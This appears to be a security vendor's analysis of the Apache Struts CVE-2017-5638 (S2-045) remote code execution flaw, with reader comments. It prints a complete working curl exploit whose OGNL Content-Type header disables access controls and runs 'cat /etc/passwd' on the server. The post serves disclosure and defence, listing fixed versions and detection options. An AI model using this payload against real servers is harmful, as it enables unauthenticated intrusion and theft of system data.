Introduction:
On March 7, 2017, Apache issued an emergency security alert as, Apache Struts was exposed to a high-risk remote command execution vulnerability, tracked as CVE-2017-5638.
Struts is an open source project of the Apache Foundation Jakarta project team, which uses MVC mode to help Java developers use J2EE to develop Web applications. At present, Struts is widely used in large-scale Internet companies, government, financial institutions and other sites, and as the development of the underlying template to use. A PoC for the same is also available here. Apache Struts officials have confirmed the vulnerability (S2-045) and classified as high risk.
Affected versions:
Apache Struts 2.3.5 – 2.3.31
Apache Struts 2.5 – 2.5.10
Vulnerability Analysis:
A remote code execution vulnerability exists in the Jakarta Multipart parser due to improper handling of the Content-Type header. An attacker can use malicious OGNL in Content-Type header to trigger this vulnerability, and then execute the system command.
Struts2 uploads using the default org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest class and by configuring the struts.multipart.parser property, you can specify a different parsing class.
As per documentation, struts.multipart.parser used by the fileUpload interceptor to handle HTTP POST requests, encoded using the MIME-type multipart/form-data, can be changed out. Currently there are two choices, jakarta and pell. The jakarta parser is a standard part of the Struts 2 framework needing only its required libraries added to a project. As from Struts version 2.3.18 a new implementation of MultiPartRequest was added – JakartaStreamMultiPartRequest. It can be used to handle large files.
For our analysis, we have used below curl command to replicate the issue.
curl -i -v -s -k -X $'GET' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0' -H $'Content-Type:%{(#nike=\'multipart/form-data\').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[\'com.opensymphony.xwork2.ActionContext.container\']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=\'cat /etc/passwd\').(#iswin=(@java.lang.System@getProperty(\'os.name\').toLowerCase().contains(\'win\'))).(#cmds=(#iswin?{\'cmd.exe\',\'/c\',#cmd}:{\'/bin/bash\',\'-c\',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}' \ $'http://10.10.36.22:8080/struts2-blank/example/HelloWorld.action'
Above screenshot clearly shows an unauthenticated, remote attacker can execute any OS commands on the targeted system.
It is important to note that the presence of vulnerable library is enough to exploit the vulnerability. The web application doesn’t necessary need to implement file upload functionality to exploit this vulnerability.
Conclusion:
Qualys identifies this vulnerability with QID#11771. This vulnerability has been fixed Struts 2.3.32 and 2.5.10.1 .
Using Qualys Web Application Firewall (WAF) 2.0, you can create custom security rules to detect and block attacks that try to exploit this vulnerability.
Such threat can be handled not using any superuser or root while starting application. It can be limited with defined access.
The specific PoC above does not work with OGNL version 3.1.9 and above because the “_memberAccess” keyword was removed from OgnlContext in that release.
Not being overly familiar with the full breadth of OGNL exploits, is the use of the _memberAccess keyword (which was removed in 3.1.9) critical to the exploit, or incidental? That is, would an application which is using a vulnerable Struts version but with a more recent OGNL version be immune to known exploits of the Struts bug overall, or still considered in danger of being exploited?
Obviously it is better to have OGNL and Struts fully up to date, but I’m trying to get a handle around the severity of exploits out there on this to identify what harm may already have been done, etc.
Nice demo! So what class or method in the parser is at fault here? I would like to see how the playing with Content-Type headers leads to this.
Can you share struts2-blank source core? Many thank.